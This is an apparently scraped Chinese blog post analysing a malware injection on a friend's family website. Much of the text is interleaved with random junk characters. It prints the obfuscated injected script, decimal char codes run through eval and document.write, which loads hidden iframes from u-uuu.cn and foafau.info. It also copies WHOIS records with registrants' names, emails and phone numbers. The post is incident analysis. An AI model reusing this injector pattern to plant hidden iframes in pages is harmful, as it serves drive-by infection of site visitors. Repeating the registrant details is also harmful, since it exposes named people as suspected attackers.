首发在我的博客里面，
<XG&f aGY R:jR$ http://www.areway.cn/?p=175 |X@ZM ] }XsP {2QCdj46 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
mD Z/Kp{ L,6v!9@ <script>t=’60,105,102,114,97,109,101,
eK [8$1 32,115,114,99,61,104,116,116,112,58,47,47,
30 e>C 102,114,101,101,46,117,45,117,117,117,46,99,
b8Gu<Q1k 110,47,101,114,114,111,114,46,104,116,109,
r&6X|2@ 32,119,105,100,116,104,61,49,48,48,32,104,
C.`C T7 101,105,103,104,116,61,48,62,60,47,105,102,
\2F{r<A\@ 114,97,109,101,62′;
NbnahhS t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
L CKCg[D
1$nlRQi <script>t=’60,105,102,114,97,109,101,32,115,
Ud@D%?A7 114,99,61,104,116,116,112,58,47,47,102,114,
ehe hTP 101,101,46,117,45,117,117,117,46,99,110,47,
~5S[S l 101,114,114,111,114,46,104,116,109,32,119,
&[ QvM h 105,100,116,104,61,49,48,48,32,104,101,105,
3fA.DK[4 [ 103,104,116,61,48,62,60,47,105,102,114,97,
`F-<P%k 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
eW%Ce f document.write(t);</script>
cCOw7< mAO$gHQ <html xmlns=”
g{0a]'ph http://www.w3.org/1999/xhtml ,=!_7'm “>
>G ` Uc&= <head>
ZYf0FC=- <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
?}p~8{ ' <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
.yK~FzLs <title>首页 - 爱生活家庭网
8 4(NylZ R|4a9 G 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
/Wos{ }Z 0 转换字符串后的大概内容是（谁点击后果自付）：
5,Rxc= <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
o%Ubn* 8x":7 yV& 查询玉米u-uuu.cn的详细信息：
E<6Fjy Domain Name: u-uuu.cn
i" 0]L5=P ROID: 20070901s10001s64972306-cn
!' ;1;k); Domain Status: ok
ob= ]( Registrant Organization: 王雷
]k0Pe;< Registrant Name: 王雷
r:rM~`` Administrative Email:
czlovexs@126.com _"nzo4e0 Sponsoring Registrar: 北京万网志成科技有限公司
3(?V!y{@ Name Server:ns.yovole.com
S)`%clN}J Name Server:ns1.yovole.com
\0bao< Registration Date: 2007-09-01 17:54
7T7
A[A\ Expiration Date: 2008-09-01 17:54
l= +hs 最后PING了一下地址 都没有什么….
aYy+iP'$ ~ 1xfE C/ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
( x)}k&B; <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
y^OT0mZkg <script language=”javascript” src=”
QlxzWd3=q http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ) 67pBj >
P_7QZ0k/ 这个玉米应该有可能是木马作者的：
OO$YwOKS foafau.info的详细信息：
8s+9PE Access to INFO WHOIS information is provided to assist persons in
lk/T| 0]) determining the contents of a domain name registration record in the
'c]Fhe fb Afilias registry database. The data in this record is provided by
Ddu1>"p-x Afilias Limited for informational purposes only, and Afilias does not
F"|OcKAA}h guarantee its accuracy. This service is intended only for query-based
*yX5g,52-| access. You agree that you will use this data only for lawful purposes
VPC7Dh%. and that, under no circumstances will you use this data to: (a) allow,
0Wd 2Z-I enable, or otherwise support the transmission by e-mail, telephone, or
C_5o& O8Bc facsimile of mass unsolicited, commercial advertising or solicitations
%X|fp{C to entities other than the data recipient’s own existing customers; or
kh7RQbNY<I (b) enable high volume, automated, electronic processes that send
([g[\c,H queries or data to the systems of Registry Operator, a Registrar, or
kJP` C\4}f Afilias except as reasonably necessary to register domain names or
E }qW' modify existing registrations. All rights reserved. Afilias reserves
d1[;~) the right to modify these terms at any time. By submitting this query,
U!y GZEU"[ you agree to abide by this policy.
;,WI_i P(w Domain ID:D22418703-LRMS
O%H c%EfG Domain Name:FOAFAU.INFO
MP
LgE.n Created On:20-Nov-2007 16:05:42 UTC
?**9hu\B G Last Updated On:20-Nov-2007 16:05:44 UTC
Jam&R j, Expiration Date:20-Nov-2008 16:05:42 UTC
^Kbq .4 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
GMv.G Status:CLIENT DELETE PROHIBITED
:ebu8H9f% Status:CLIENT RENEW PROHIBITED
#aHJ|[[(n Status:CLIENT TRANSFER PROHIBITED
$V/Hr/ 0 Status:CLIENT UPDATE PROHIBITED
4` X]$. Status:TRANSFER PROHIBITED
b7uxCH]Z
Registrant ID:GODA-040110615
4LY$;J ;2 Registrant Name:liu hong
;xXD2{q Registrant Organization:
ffH]`N Registrant Street1:beijing
P*
Z1Rs_ Registrant Street2:
JK jVrx>
@ Registrant Street3:
2%{(BT6 Registrant City:beijing
FN+x<VXo( Registrant State/Province:
z<I@SI^> Registrant Postal Code:100000
NsJ]Tp5! Registrant Country:CN
$*\G Z$y> Registrant Phone:+86.860108888777
/s~(? =qYH Registrant Phone Ext.:
@r130eLh Registrant FAX:
c'!+]'Lr Registrant FAX Ext.:
|XrGf2P9u Registrant Email:bbbshiji@163.com
ow<z @^ 3' Admin ID:GODA-240110615
p~A6:"8s`= Admin Name:liu hong
h 2QJQ|7a Admin Organization:
r9
5hW Admin Street1:beijing
U,g)N[| Admin Street2:
|a |## / Admin Street3:
.wpp)M.w;H Admin City:beijing
.Ce0yAl~ Admin State/Province:
a#pM9n~a Admin Postal Code:100000
=".sCV9"N Admin Country:CN
Dug{)h_2 Admin Phone:+86.860108888777
AqZ( )p*z Admin Phone Ext.:
4 (>8tP\Y Admin FAX:
h y}n&h Admin FAX Ext.:
n/ CP2 A Admin Email:bbbshiji@163.com
V\m51H1mqo Billing ID:GODA-340110615
[QZ8M@Gty# Billing Name:liu hong
p=T6Ix'_2e Billing Organization:
l0&U7gr Billing Street1:beijing
IW>\\&pJ Billing Street2:
K%@#a}kRb Billing Street3:
Ib}~Q@ ?2 Billing City:beijing
J|uSj/8 Billing State/Province:
S-7ry HH*0 Billing Postal Code:100000
_(_U= Billing Country:CN
By;{Y[@rS Billing Phone:+86.860108888777
.
g8WMm Billing Phone Ext.:
{P7 I<^, Billing FAX:
k:yrh:Jh B Billing FAX Ext.:
C"cBlru8B Billing Email:bbbshiji@163.com
. 4%6_ `E Tech ID:GODA-140110615
3E$h
W Tech Name:liu hong
y,F|L?dI q Tech Organization:
] <y3;T\~ Tech Street1:beijing
/4Sul*{hc Tech Street2:
0 8W^ Tech Street3:
w :|YO eP Tech City:beijing
;kLp}CqV Tech State/Province:
XTKAy;'5 Tech Postal Code:100000
k%K\~U8" Tech Country:CN
UNhM:!A Tech Phone:+86.860108888777
W*Gp0pX Tech Phone Ext.:
bBp('oEJu Tech FAX:
m^%Xl@V:c- Tech FAX Ext.:
z#Cgd-^7.# Tech Email:bbbshiji@163.com
_h1:{hF Name Server:NS27.DOMAINCONTROL.COM
(U_ dPf Name Server:NS28.DOMAINCONTROL.COM
F !MxC Name Server:
"tUc Name Server:
" o>` Y Name Server:
7 : .bqRu Name Server:
U v|^k8( Name Server:
E>L_$J -A- Name Server:
pcO{%]?p Name Server:
HI!bq%TZ4 Name Server:
FX&)~) Name Server:
lfe^_`ij(+ Name Server:
e)Pm{:E Name Server:
'l41];_ ;Ebpf J 接着下载每个文件里面的代码：
&^JYIRn1\ 一步一步看..
VCCG_K9' 
yi Ausl; 
lFc4| _c g 
L.$+W} 
kT ,2eel 
1 g1gu=|Q 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
